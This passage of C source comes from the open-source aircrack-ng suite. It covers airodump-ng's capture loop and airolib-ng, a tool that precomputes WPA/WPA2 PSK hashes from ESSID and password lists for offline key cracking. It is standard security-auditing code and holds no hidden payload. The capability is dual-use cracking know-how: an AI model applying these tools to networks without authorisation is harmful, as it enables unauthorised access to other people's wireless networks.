= 0; G.output_format_pcap = 0; G.output_format_csv = 0; G.output_format_kismet_csv = 0; G.output_format_kismet_netxml = 0; } // Parse the value output_format_string = strtok(optarg, ","); while (output_format_string != NULL) { if (strlen(output_format_string) != 0) { if (strncasecmp(output_format_string, "csv", 3) == 0 || strncasecmp(output_format_string, "txt", 3) == 0) { G.output_format_csv = 1; } else if (strncasecmp(output_format_string, "pcap", 4) == 0 || strncasecmp(output_format_string, "cap", 3) == 0) { if (ivs_only) { printf( usage, getVersion("Airodump-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); fprintf(stderr, "Invalid output format: IVS and PCAP format cannot be used together.\n"); return( 1 ); } G.output_format_pcap = 1; } else if (strncasecmp(output_format_string, "ivs", 3) == 0) { if (G.output_format_pcap) { printf( usage, getVersion("Airodump-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); fprintf(stderr, "Invalid output format: IVS and PCAP format cannot be used together.\n"); return( 1 ); } ivs_only = 1; } else if (strncasecmp(output_format_string, "kismet", 6) == 0) { G.output_format_kismet_csv = 1; } else if (strncasecmp(output_format_string, "gps", 3) == 0) { G.usegpsd = 1; } else if (strncasecmp(output_format_string, "netxml", 6) == 0 || strncasecmp(output_format_string, "newcore", 7) == 0 || strncasecmp(output_format_string, "kismet-nc", 9) == 0 || strncasecmp(output_format_string, "kismet_nc", 9) == 0 || strncasecmp(output_format_string, "kismet-newcore", 14) == 0 || strncasecmp(output_format_string, "kismet_newcore", 14) == 0) { G.output_format_kismet_netxml = 1; } else if (strncasecmp(output_format_string, "default", 6) == 0) { G.output_format_pcap = 1; G.output_format_csv = 1; G.output_format_kismet_csv = 1; G.output_format_kismet_netxml = 1; } else if (strncasecmp(output_format_string, "none", 6) == 0) { G.output_format_pcap = 0; G.output_format_csv = 0; G.output_format_kismet_csv = 0; G.output_format_kismet_netxml = 0; G.usegpsd = 0; ivs_only = 0; } else { // Display an error if it does not match any value fprintf(stderr, "Invalid output format: <%s>\n", output_format_string); exit(1); } } output_format_string = strtok(NULL, ","); } break; case 'H': printf( usage, getVersion("Airodump-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); return( 1 ); case 'x': G.active_scan_sim = atoi(optarg); if (G.active_scan_sim <= 0) G.active_scan_sim = 0; break; default : goto usage; } } while ( 1 ); if( argc - optind != 1 && G.s_file == NULL) { if(argc == 1) { usage: printf( usage, getVersion("Airodump-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); } if( argc - optind == 0) { printf("No interface specified.\n"); } if(argc > 1) { printf("\"%s --help\" for help.\n", argv[0]); } return( 1 ); } if( argc - optind == 1 ) G.s_iface = argv[argc-1]; if( ( memcmp(G.f_netmask, NULL_MAC, 6) != 0 ) && ( memcmp(G.f_bssid, NULL_MAC, 6) == 0 ) ) { printf("Notice: specify bssid \"--bssid\" with \"--netmask\"\n"); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if(G.s_iface != NULL) { /* initialize cards */ G.num_cards = init_cards(G.s_iface, iface, wi); if(G.num_cards <= 0) return( 1 ); for (i = 0; i < G.num_cards; i++) { fd_raw[i] = wi_fd(wi[i]); if (fd_raw[i] > fdh) fdh = fd_raw[i]; } if(G.freqoption == 1 && G.freqstring != NULL) // use frequencies { detect_frequencies(wi[0]); G.frequency[0] = getfrequencies(G.freqstring); if(G.frequency[0] == -1) { printf("No valid frequency given.\n"); return(1); } // printf("gonna rearrange\n"); rearrange_frequencies(); // printf("finished rearranging\n"); freq_count = getfreqcount(0); /* find the interface index */ /* start a child to hop between frequencies */ if( G.frequency[0] == 0 ) { unused = pipe( G.ch_pipe ); unused = pipe( G.cd_pipe ); signal( SIGUSR1, sighandler ); if( ! fork() ) { /* reopen cards. This way parent & child don't share resources for * accessing the card (e.g. file descriptors) which may cause * problems. -sorbo */ for (i = 0; i < G.num_cards; i++) { strncpy(ifnam, wi_get_ifname(wi[i]), sizeof(ifnam)-1); ifnam[sizeof(ifnam)-1] = 0; wi_close(wi[i]); wi[i] = wi_open(ifnam); if (!wi[i]) { printf("Can't reopen %s\n", ifnam); exit(1); } } setuid( getuid() ); frequency_hopper(wi, G.num_cards, freq_count); exit( 1 ); } } else { for( i=0; i MIN_RAM_SIZE_LOAD_OUI_RAM) { G.manufList = load_oui_file(); } /* start the GPS tracker */ if (G.usegpsd) { unused = pipe( G.gc_pipe ); signal( SIGUSR2, sighandler ); if( ! fork() ) { gps_tracker(); exit( 1 ); } usleep( 50000 ); waitpid( -1, NULL, WNOHANG ); } fprintf( stderr, "\33[?25l\33[2J\n" ); start_time = time( NULL ); tt1 = time( NULL ); tt2 = time( NULL ); tt3 = time( NULL ); gettimeofday( &tv3, NULL ); gettimeofday( &tv4, NULL ); G.batt = getBatteryString(); G.elapsed_time = (char *) calloc( 1, 4 ); strncpy(G.elapsed_time, "0 s", 4 - 1); /* Create start time string for kismet netxml file */ G.airodump_start_time = (char *) calloc( 1, 1000 * sizeof(char) ); strncpy(G.airodump_start_time, ctime( & start_time ), 1000 - 1); G.airodump_start_time[strlen(G.airodump_start_time) - 1] = 0; // remove new line G.airodump_start_time = (char *) realloc( G.airodump_start_time, sizeof(char) * (strlen(G.airodump_start_time) + 1) ); if( pthread_create( &(G.input_tid), NULL, (void *) input_thread, NULL ) != 0 ) { perror( "pthread_create failed" ); return 1; } while( 1 ) { if( G.do_exit ) { break; } if( time( NULL ) - tt1 >= 5 ) { /* update the csv stats file */ tt1 = time( NULL ); if (G. output_format_csv) dump_write_csv(); if (G.output_format_kismet_csv) dump_write_kismet_csv(); if (G.output_format_kismet_netxml) dump_write_kismet_netxml(); /* sort the APs by power */ if(G.sort_by != SORT_BY_NOTHING) { pthread_mutex_lock( &(G.mx_sort) ); dump_sort(); pthread_mutex_unlock( &(G.mx_sort) ); } } if( time( NULL ) - tt2 > 3 ) { /* update the battery state */ free(G.batt); G.batt = NULL; tt2 = time( NULL ); G.batt = getBatteryString(); /* update elapsed time */ free(G.elapsed_time); G.elapsed_time=NULL; G.elapsed_time = getStringTimeFromSec( difftime(tt2, start_time) ); /* flush the output files */ if( G.f_cap != NULL ) fflush( G.f_cap ); if( G.f_ivs != NULL ) fflush( G.f_ivs ); } gettimeofday( &tv1, NULL ); cycle_time = 1000000 * ( tv1.tv_sec - tv3.tv_sec ) + ( tv1.tv_usec - tv3.tv_usec ); cycle_time2 = 1000000 * ( tv1.tv_sec - tv4.tv_sec ) + ( tv1.tv_usec - tv4.tv_usec ); if( G.active_scan_sim > 0 && cycle_time2 > G.active_scan_sim*1000 ) { gettimeofday( &tv4, NULL ); send_probe_requests(wi, G.num_cards); } if( cycle_time > 500000 ) { gettimeofday( &tv3, NULL ); update_rx_quality( ); if(G.s_iface != NULL) { check_monitor(wi, fd_raw, &fdh, G.num_cards); if(G.singlechan) check_channel(wi, G.num_cards); if(G.singlefreq) check_frequency(wi, G.num_cards); } } if(G.s_file != NULL) { /* Read one packet */ n = sizeof( pkh ); if( fread( &pkh, n, 1, G.f_cap_in ) != 1 ) { memset(G.message, '\x00', sizeof(G.message)); snprintf(G.message, sizeof(G.message), "][ Finished reading input file %s.\n", G.s_file); G.s_file = NULL; continue; } if( G.pfh_in.magic == TCPDUMP_CIGAM ) SWAP32( pkh.caplen ); n = caplen = pkh.caplen; memset(buffer, 0, sizeof(buffer)); h80211 = buffer; if( n <= 0 || n > (int) sizeof( buffer ) ) { memset(G.message, '\x00', sizeof(G.message)); snprintf(G.message, sizeof(G.message), "][ Finished reading input file %s.\n", G.s_file); G.s_file = NULL; continue; } if( fread( h80211, n, 1, G.f_cap_in ) != 1 ) { memset(G.message, '\x00', sizeof(G.message)); snprintf(G.message, sizeof(G.message), "][ Finished reading input file %s.\n", G.s_file); G.s_file = NULL; continue; } if( G.pfh_in.linktype == LINKTYPE_PRISM_HEADER ) { if( h80211[7] == 0x40 ) n = 64; else n = *(int *)( h80211 + 4 ); if( n < 8 || n >= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } if( G.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR ) { /* remove the radiotap header */ n = *(unsigned short *)( h80211 + 2 ); if( n <= 0 || n >= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } if( G.pfh_in.linktype == LINKTYPE_PPI_HDR ) { /* remove the PPI header */ n = le16_to_cpu(*(unsigned short *)( h80211 + 2)); if( n <= 0 || n>= (int) caplen ) continue; /* for a while Kismet logged broken PPI headers */ if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 ) n = 32; if( n <= 0 || n>= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } read_pkts++; if(read_pkts%10 == 0) usleep(1); } else if(G.s_iface != NULL) { /* capture one packet */ FD_ZERO( &rfds ); for(i=0; i REFRESH_RATE && time_slept > G.update_s * 1000000) { time_slept = 0; update_dataps(); /* update the window size */ if( ioctl( 0, TIOCGWINSZ, &(G.ws) ) < 0 ) { G.ws.ws_row = 25; G.ws.ws_col = 80; } if( G.ws.ws_col < 1 ) G.ws.ws_col = 1; if( G.ws.ws_col > 300 ) G.ws.ws_col = 300; /* display the list of access points we have */ if(!G.do_pause) { pthread_mutex_lock( &(G.mx_print) ); fprintf( stderr, "\33[1;1H" ); dump_print( G.ws.ws_row, G.ws.ws_col, G.num_cards ); fprintf( stderr, "\33[J" ); fflush( stdout ); pthread_mutex_unlock( &(G.mx_print) ); } continue; } if(G.s_file == NULL && G.s_iface != NULL) { fd_is_set = 0; for(i=0; i 1) { G.do_exit = 1; break; } memset(G.message, '\x00', sizeof(G.message)); snprintf(G.message, sizeof(G.message), "][ interface %s down ", wi_get_ifname(wi[i])); //reopen in monitor mode strncpy(ifnam, wi_get_ifname(wi[i]), sizeof(ifnam)-1); ifnam[sizeof(ifnam)-1] = 0; wi_close(wi[i]); wi[i] = wi_open(ifnam); if (!wi[i]) { printf("Can't reopen %s\n", ifnam); /* Restore terminal */ fprintf( stderr, "\33[?25h" ); fflush( stdout ); exit(1); } fd_raw[i] = wi_fd(wi[i]); if (fd_raw[i] > fdh) fdh = fd_raw[i]; break; // return 1; } read_pkts++; wi_read_failed = 0; dump_add_packet( h80211, caplen, &ri, i ); } } } else if (G.s_file != NULL) { dump_add_packet( h80211, caplen, &ri, i ); } } if(G.batt) free(G.batt); if(G.elapsed_time) free(G.elapsed_time); if(G.own_channels) free(G.own_channels); if(G.prefix) free(G.prefix); if(G.f_cap_name) free(G.f_cap_name); if(G.keyout) free(G.keyout); for(i=0; iuiv_root ); list_tail_free(&(ap_cur->packets)); if (G.manufList) free(ap_cur->manuf); if (G.detect_anomaly) data_wipe(ap_cur->data_root); ap_prv = ap_cur; ap_cur = ap_cur->next; } ap_cur = G.ap_1st; while( ap_cur != NULL ) { // Freeing AP List ap_next = ap_cur->next; if( ap_cur != NULL ) free(ap_cur); ap_cur = ap_next; } st_cur = G.st_1st; st_next= NULL; while(st_cur != NULL) { st_next = st_cur->next; if (G.manufList) free(st_cur->manuf); free(st_cur); st_cur = st_next; } na_cur = G.na_1st; na_next= NULL; while(na_cur != NULL) { na_next = na_cur->next; free(na_cur); na_cur = na_next; } if (G.manufList) { oui_cur = G.manufList; while (oui_cur != NULL) { oui_next = oui_cur->next; free(oui_cur); oui_cur = oui_next; } } fprintf( stderr, "\33[?25h" ); fflush( stdout ); return( 0 ); } aircrack-ng-1.1/src/airolib-ng.c0000644000000000000000000007767011357637246015247 0ustar rootroot/* * A tool to compute and manage PBKDF2 values as used in WPA-PSK and WPA2-PSK * * Copyright (C) 2007; 2008, 2009 ebfe * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include #include #include #include #include #include #include #include #include #include #include #include "aircrack-ng.h" #include "crypto.h" #ifdef HAVE_REGEXP #include #endif #include "version.h" #define IMPORT_ESSID "essid" #define IMPORT_PASSWD "passwd" #define IMPORT_COWPATTY "cowpatty" extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc); void print_help(const char * msg) { printf("\n" " %s - (C) 2007, 2008, 2009 ebfe\n" " http://www.aircrack-ng.org\n" "\n" " Usage: airolib-ng [options]\n" "\n" " Operations:\n" "\n" " --stats : Output information about the database.\n" " --sql : Execute specified SQL statement.\n" " --clean [all] : Clean the database from old junk. 'all' will also \n" " reduce filesize if possible and run an integrity check.\n" " --batch : Start batch-processing all combinations of ESSIDs\n" " and passwords.\n" " --verify [all] : Verify a set of randomly chosen PMKs.\n" " If 'all' is given, all invalid PMK will be deleted.\n" "\n" " --import [essid|passwd] :\n" " Import a text file as a list of ESSIDs or passwords.\n" " --import cowpatty :\n" " Import a cowpatty file.\n" "\n" " --export cowpatty :\n" " Export to a cowpatty file.\n" "\n", getVersion("Airolib-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC)); if (msg && strlen(msg) > 0) { printf("%s", msg); puts(""); } } void sql_error(sqlite3* db) { fprintf(stderr, "Database error: %s\n", sqlite3_errmsg(db)); } int sql_exec_cb(sqlite3* db, const char *sql, void* callback, void* cb_arg) { #ifdef SQL_DEBUG printf(sql); printf("\n"); fflush(stdout); #endif int rc; char *zErrMsg = 0; char looper[4] = {'|','/','-','\\'}; int looperc = 0; int waited = 0; while (1) { rc = sqlite3_exec(db,sql,callback,cb_arg,&zErrMsg); if (rc == SQLITE_LOCKED || rc == SQLITE_BUSY) { fprintf(stdout,"Database is locked or busy. Waiting %is ... %1c \r",++waited, looper[looperc++ % sizeof(looper)]); fflush(stdout); sleep(1); } else { if (rc != SQLITE_OK) { fprintf(stderr, "SQL error. %s\n", zErrMsg); sqlite3_free(zErrMsg); } if (waited != 0) printf("\n\n"); return rc; } } } // execute sql fast and hard. int sql_exec(sqlite3* db, const char *sql) { return sql_exec_cb(db,sql,0,0); } // wrapper for sqlite3_step which retries executing statements if the db returns SQLITE_BUSY or SQLITE_LOCKED int sql_step(sqlite3_stmt* stmt, int wait) { int rc; char looper[4] = {'|','/','-','\\'}; int looperc = 0; int waited = 0; while (1) { rc = sqlite3_step(stmt); if (rc == SQLITE_LOCKED || rc == SQLITE_BUSY) { if (wait != 0) { fprintf(stdout,"Database is locked or busy. Waiting %is ... %1c \r",++waited, looper[looperc]); fflush(stdout); wait--; looperc = looperc+1 % sizeof(looper); sleep(1); } else { fprintf(stderr,"Database was locked or busy while getting results. I've given up.\n"); return rc; } } else { if (waited != 0) printf("\n\n"); return rc; } } } // wrapper for sqlite3_prepare_v2 which retries creating statements if the db returns SQLITE_BUSY or SQLITE_LOCKED int sql_prepare(sqlite3 *db, const char *sql, sqlite3_stmt **ppStmt, int wait) { #ifdef SQL_DEBUG printf(sql); printf("\n"); fflush(stdout); #endif int rc; char looper[4] = {'|','/','-','\\'}; int looperc = 0; int waited = 0; while (1) { rc = sqlite3_prepare_v2(db,sql,-1,ppStmt,NULL); if (rc == SQLITE_LOCKED || rc == SQLITE_BUSY) { if (wait != 0) { fprintf(stdout,"Database is locked or busy. Waiting %is ... %1c \r", ++waited, looper[looperc]); fflush(stdout); wait--; looperc = looperc+1 % sizeof(looper); sleep(1); } else { fprintf(stderr,"Database was locked or busy while creating statement. I've given up.\n"); return rc; } } else { if (waited != 0) printf("\n\n"); return rc; } } } // generic function to dump a resultset including column names to stdout int stmt_stdout(sqlite3_stmt* stmt, int* rowcount) { int ccount; int rcount = 0; int rc; if (stmt == 0 || (ccount = sqlite3_column_count(stmt)) == 0) { return sql_step(stmt,0); } int i = 0; do { printf("%s", sqlite3_column_name(stmt,i++)); if (i < ccount) printf("\t"); } while (i < ccount); printf("\n"); while ((rc = sql_step(stmt,0)) == SQLITE_ROW) { i = 0; rcount++; do { printf("%s", (char *)sqlite3_column_text(stmt,i++)); if (i < ccount) printf("\t"); } while (i < ccount); printf("\n"); } if (rowcount != NULL) *rowcount=rcount; return rc; } // generic function to dump the output of a sql statement to stdout. // will return sqlite error codes but also handle (read: ignore) them itself int sql_stdout(sqlite3* db, const char* sql, int* rowcount) { int rc; sqlite3_stmt *stmt; rc = sql_prepare(db,sql,&stmt,-1); if (rc != SQLITE_OK) { sql_error(db); return rc; } rc = stmt_stdout(stmt,rowcount); sqlite3_finalize(stmt); if (rc == SQLITE_DONE) { if (sqlite3_changes(db) > 0) fprintf(stdout,"Query done. %i rows affected.",sqlite3_changes(db)); } else { sql_error(db); } printf("\n"); return rc; } // retrieve a single int value using a sql query. // returns 0 if something goes wrong. beware! create your own statement if you need error handling. int query_int(sqlite3* db, const char* sql) { sqlite3_stmt *stmt; int rc; int ret; rc = sql_prepare(db,sql,&stmt,-1); if (rc != SQLITE_OK || stmt == 0 || sqlite3_column_count(stmt) == 0) { sql_error(db); ret = 0; } else { rc = sql_step(stmt,-1); if (rc == SQLITE_ROW) { ret = sqlite3_column_int(stmt,0); } else { #ifdef SQL_DEBUG printf("DEBUG: query_int() returns with sql_step() != SQLITE_ROW\n"); #endif ret = 0; } } sqlite3_finalize(stmt); return ret; } // throw some statistics about the db to stdout. // if precise!=0 the stats will be queried nail by nail which can be slow void show_stats(sqlite3* db, int precise) { sql_exec(db,"BEGIN;"); int essids = query_int(db, "SELECT COUNT(*) FROM essid;"); int passwds = query_int(db,"SELECT COUNT(*) FROM passwd;"); int done; if (precise != 0) { printf("Determining precise statistics may be slow...\n"); done = query_int(db, "SELECT COUNT(*) FROM essid,passwd INNER JOIN pmk ON pmk.essid_id = essid.essid_id AND pmk.passwd_id = passwd.passwd_id"); } else { done = query_int(db, "SELECT COUNT(*) FROM pmk;"); } fprintf(stdout,"There are %i ESSIDs and %i passwords in the database. %i out of %i possible combinations have been computed (%g%%).\n\n", essids, passwds, done, essids*passwds, essids*passwds > 0 ? ((double)done*100)/(essids*passwds) : 0); if (precise != 0) { sql_stdout(db, "select essid.essid AS ESSID, essid.prio AS Priority, round(count(pmk.essid_id) * 100.0 / count(*),2) AS Done from essid,passwd left join pmk on pmk.essid_id = essid.essid_id and pmk.passwd_id = passwd.passwd_id group by essid.essid_id;",0); } else { sql_stdout(db, "SELECT essid.essid AS ESSID, essid.prio AS Priority, ROUND(COUNT(pmk.essid_id) * 100.0 / (SELECT COUNT(*) FROM passwd),2) AS Done FROM essid LEFT JOIN pmk ON pmk.essid_id = essid.essid_id GROUP BY essid.essid_id;",0); } sql_exec(db,"COMMIT;"); } /* batch-process all combinations of ESSIDs and PASSWDs. this function may be called only once per db at the same time, yet multiple processes can batch-process a single db. don't modify this function's layout or it's queries without carefully considering speed, efficiency and concurrency. */ void batch_process(sqlite3* db) { int rc; int cur_essid = 0; struct timeval starttime; struct timeval curtime; gettimeofday(&starttime,NULL); int rowcount = 0; char *sql; if (sql_exec(db, "CREATE TEMPORARY TABLE temp.buffer (wb_id integer, essid_id integer, passwd_id integer, essid text, passwd text, pmk blob);") != SQLITE_OK) { fprintf(stderr,"Failed to create buffer for batch processing.\n"); return; } // may fail - thats ok cur_essid = query_int(db,"SELECT essid_id FROM workbench LIMIT 1;"); while(1) { //loop over everything do { //loop over ESSID do { //loop over workbench sql_exec(db,"DELETE FROM temp.buffer;"); // select some work from the workbench into our own buffer // move lockid ahead so other clients won't get those rows any time soon sql_exec(db,"BEGIN EXCLUSIVE;"); sql_exec(db,"INSERT INTO temp.buffer (wb_id,essid_id,passwd_id,essid,passwd) SELECT wb_id, essid.essid_id,passwd.passwd_id,essid,passwd FROM workbench CROSS JOIN essid ON essid.essid_id = workbench.essid_id CROSS JOIN passwd ON passwd.passwd_id = workbench.passwd_id ORDER BY lockid LIMIT 25000;"); sql_exec(db,"UPDATE workbench SET lockid=lockid+1 WHERE wb_id IN (SELECT wb_id FROM buffer);"); sql_exec(db,"COMMIT;"); rc = query_int(db,"SELECT COUNT(*) FROM buffer;"); if (rc > 0) { // now calculate all the PMKs with a single statement. // remember the update won't lock the db sql_exec(db,"UPDATE temp.buffer SET pmk = PMK(essid,passwd);"); // commit work and delete package from workbench sql_exec(db,"BEGIN EXCLUSIVE;"); sql_exec(db,"INSERT OR IGNORE INTO pmk (essid_id,passwd_id,pmk) SELECT essid_id,passwd_id,pmk FROM temp.buffer"); sql_exec(db,"DELETE FROM workbench WHERE wb_id IN (SELECT wb_id FROM buffer);"); sql_exec(db,"COMMIT;"); rowcount += rc; gettimeofday(&curtime,NULL); int timediff = curtime.tv_sec - starttime.tv_sec; fprintf(stdout,"\rComputed %i PMK in %i seconds (%i PMK/s, %i in buffer). ",rowcount,timediff, timediff > 0 ? rowcount / timediff : rowcount, query_int(db,"SELECT COUNT(*) FROM workbench;")); fflush(stdout); } } while (rc > 0); sql = sqlite3_mprintf("INSERT OR IGNORE INTO workbench (essid_id,passwd_id) SELECT essid.essid_id,passwd.passwd_id FROM passwd CROSS JOIN essid LEFT JOIN pmk ON pmk.essid_id = essid.essid_id AND pmk.passwd_id = passwd.passwd_id WHERE essid.essid_id = %i AND pmk.essid_id IS NULL LIMIT 250000;",cur_essid); sql_exec(db,sql); sqlite3_free(sql); } while (query_int(db,"SELECT COUNT(*) FROM workbench INNER JOIN essid ON essid.essid_id = workbench.essid_id INNER JOIN passwd ON passwd.passwd_id = workbench.passwd_id;") > 0); cur_essid = query_int(db,"SELECT essid.essid_id FROM essid LEFT JOIN pmk USING (essid_id) WHERE VERIFY_ESSID(essid.essid) == 0 GROUP BY essid.essid_id HAVING COUNT(pmk.essid_id) < (SELECT COUNT(*) FROM passwd) ORDER BY essid.prio,COUNT(pmk.essid_id),RANDOM() LIMIT 1;"); if (cur_essid == 0) { printf("All ESSID processed.\n\n"); sqlite3_close(db); exit(0); /* printf("No free ESSID found. Will try determining new ESSID in 5 minutes...\n"); sleep(60*5); // slower, yet certain. should never be any better than the above, unless users fumble with the db. cur_essid = query_int(db,"SELECT essid.essid_id FROM essid,passwd LEFT JOIN pmk ON pmk.essid_id = essid.essid_id AND pmk.passwd_id = passwd.passwd_id WHERE pmk.essid_id IS NULL LIMIT 1;"); if (cur_essid == 0) { printf("No free ESSID found. Sleeping 25 additional minutes...\n"); sleep(60*25); } */ } } //never reached sql_exec(db,"DROP TABLE temp.buffer;"); } // Verify an ESSID. Returns 1 if ESSID is invalid. //TODO More things to verify? Invalid chars? int verify_essid(char* essid) { return essid == NULL || strlen(essid) < 1 || strlen(essid) > 32; } // sql function which checks a given ESSID void sql_verify_essid(sqlite3_context* context, int argc, sqlite3_value** values) { char* essid = (char*)sqlite3_value_text(values[0]); if (argc != 1 || essid == 0) { fprintf(stderr,"SQL function VERIFY_ESSID called with invalid arguments"); return; } sqlite3_result_int(context,verify_essid(essid)); } int verify_passwd(char* passwd) { return passwd == NULL || strlen(passwd) < 8 || strlen(passwd) > 63; } void sql_verify_passwd(sqlite3_context* context, int argc, sqlite3_value** values) { char* passwd = (char*)sqlite3_value_text(values[0]); if (argc != 1 || passwd == 0) { fprintf(stderr,"SQL function VERIFY_PASSWD called with invalid arguments"); return; } sqlite3_result_int(context,verify_passwd(passwd)); } // clean the db, analyze, maybe vacuum and check void vacuum(sqlite3* db, int deep) { printf("Deleting invalid ESSIDs and passwords...\n"); sql_exec(db, "DELETE FROM essid WHERE VERIFY_ESSID(essid) != 0;"); sql_exec(db, "DELETE FROM passwd WHERE VERIFY_PASSWD(passwd) != 0"); printf("Deleting unreferenced PMKs...\n"); sql_exec(db, "DELETE FROM pmk WHERE essid_id NOT IN (SELECT essid_id FROM essid)"); sql_exec(db, "DELETE FROM pmk WHERE passwd_id NOT IN (SELECT passwd_id FROM passwd)"); printf("Analysing index structure...\n"); sql_exec(db, "ANALYZE;"); if (deep != 0) { printf("Vacuum-cleaning the database. This could take a while...\n"); sql_exec(db, "VACUUM;"); printf("Checking database integrity...\n"); sql_stdout(db, "PRAGMA integrity_check;",0); } printf("Done.\n"); } // verify PMKs. If complete==1 we check all PMKs // returns 0 if ok, !=0 otherwise void verify(sqlite3* db, int complete) { if (complete != 1) { printf("Checking ~10.000 randomly chosen PMKs...\n"); // this is faster than 'order by random()'. we need the subquery to trick the optimizer... sql_stdout(db,"select s.essid AS ESSID, COUNT(*) AS CHECKED, CASE WHEN MIN(s.pmk == PMK(essid,passwd)) == 0 THEN 'FAILED' ELSE 'OK' END AS STATUS FROM (select distinct essid,passwd,pmk FROM pmk INNER JOIN passwd ON passwd.passwd_id = pmk.passwd_id INNER JOIN essid ON essid.essid_id = pmk.essid_id WHERE abs(random() % (select count(*) from pmk)) < 10000) AS s GROUP BY s.essid;",0); } else { printf("Checking all PMKs. This could take a while...\n"); sql_stdout(db,"select essid AS ESSID,passwd AS PASSWORD,HEX(pmk) AS PMK_DB, HEX(PMK(essid,passwd)) AS CORRECT FROM pmk INNER JOIN passwd ON passwd.passwd_id = pmk.passwd_id INNER JOIN essid ON essid.essid_id = pmk.essid_id WHERE pmk.pmk != PMK(essid,passwd);",0); } } // callback for export_cowpatty. takes the passwd and pmk from the query and writes another fileentry. int sql_exportcow(void* arg, int ccount, char** values, char** columnnames) { FILE *f = (FILE*)arg; struct hashdb_rec rec; if (ccount != 2 || values[0] == NULL || values[1] == NULL || fileno(f) == -1) { printf("Illegal call to sql_exportcow.\n"); return -1; } if (columnnames) {} //XXX char* passwd = (char*)values[0]; memcpy(rec.pmk,values[1],sizeof(rec.pmk)); rec.rec_size = strlen(passwd) + sizeof(rec.pmk)+ sizeof(rec.rec_size); int rc = fwrite(&rec.rec_size,sizeof(rec.rec_size),1,f); rc += fwrite(passwd, strlen(passwd),1,f); rc += fwrite(rec.pmk, sizeof(rec.pmk), 1, f); if (rc != 3) { printf("Error while writing to export file. Query aborted...\n"); return 1; } fflush(f); return 0; } // export to a cowpatty file void export_cowpatty(sqlite3* db, char* essid, char* filename) { struct hashdb_head filehead; memset(&filehead, 0, sizeof(filehead)); FILE *f = NULL; if (access(filename, F_OK)==0) { printf("The file already exists and I won't overwrite it.\n"); return; } // ensure that the essid is found in the db and has at least one entry in the pmk table. char *sql = sqlite3_mprintf("SELECT COUNT(*) FROM (SELECT passwd, pmk FROM essid,passwd INNER JOIN pmk ON pmk.passwd_id = passwd.passwd_id AND pmk.essid_id = essid.essid_id WHERE essid.essid = '%q' LIMIT 1);",essid); int rc = query_int(db,sql); sqlite3_free(sql); if (rc == 0) { printf("There is no such ESSID in the database or there are no PMKs for it.\n"); return; } memcpy(filehead.ssid, essid,strlen(essid)); filehead.ssidlen = strlen(essid); filehead.magic = GENPMKMAGIC; f = fopen(filename, "w"); if (f == NULL || fwrite(&filehead, sizeof(filehead), 1, f) != 1) { printf("Couldn't open the export file for writing.\n"); return; } // as we have an open filehandle, we now query the db to return passwds and associated PMKs for that essid. we pass the filehandle to a callback function which will write the rows to the file. sql = sqlite3_mprintf("SELECT passwd, pmk FROM essid,passwd INNER JOIN pmk ON pmk.passwd_id = passwd.passwd_id AND pmk.essid_id = essid.essid_id WHERE essid.essid = '%q'",essid); printf("Exporting...\n"); rc = sql_exec_cb(db,sql,&sql_exportcow,f); sqlite3_free(sql); if (rc != SQLITE_OK) { printf("There was an error while exporting.\n"); } fclose(f); printf("Done.\n"); } // import a cowpatty file int import_cowpatty(sqlite3* db, char* filename) { struct hashdb_head filehead; struct hashdb_rec rec; FILE *f = NULL; int rc; sqlite3_stmt *stmt; char* sql; int essid_id; int wordlength; char passwd[63+1]; if (strcmp(filename,"-") == 0) { f = stdin; } else { f = fopen(filename, "r"); } if (f == NULL || fread(&filehead, sizeof(filehead),1,f) != 1) { printf("Couldn't open the import file for reading.\n"); return 0; } else if (filehead.magic != GENPMKMAGIC) { printf("File doesn't seem to be a cowpatty file.\n"); fclose(f); return 0; } else if (verify_essid((char *)filehead.ssid) != 0) { printf("The file's ESSID is invalid.\n"); fclose(f); return 0; } printf("Reading header...\n"); //We need protection so concurrent transactions can't smash the ID-references sql_exec(db,"BEGIN;"); sql = sqlite3_mprintf("INSERT OR IGNORE INTO essid (essid) VALUES ('%q');",filehead.ssid); sql_exec(db,sql); sqlite3_free(sql); //since there is only one essid per file, we can determine it's ID now sql = sqlite3_mprintf("SELECT essid_id FROM essid WHERE essid = '%q'", filehead.ssid); essid_id = query_int(db,sql); sqlite3_free(sql); if (essid_id == 0) { fclose(f); sql_exec(db,"ROLLBACK;"); printf("ESSID couldn't be inserted. I've given up.\n"); return 0; } sql = sqlite3_mprintf("CREATE TEMPORARY TABLE import (passwd text, pmk blob);", essid_id); sql_exec(db,sql); sqlite3_free(sql); sql_prepare(db,"INSERT INTO import (passwd,pmk) VALUES (@pw,@pmk)",&stmt,-1); printf("Reading...\n"); while ((rc = fread(&rec.rec_size, sizeof(rec.rec_size), 1, f)) == 1) { wordlength = abs(rec.rec_size) - (sizeof(rec.pmk) + sizeof(rec.rec_size)); //prevent out of bounds writing (sigsegv guaranteed) but don't skip the 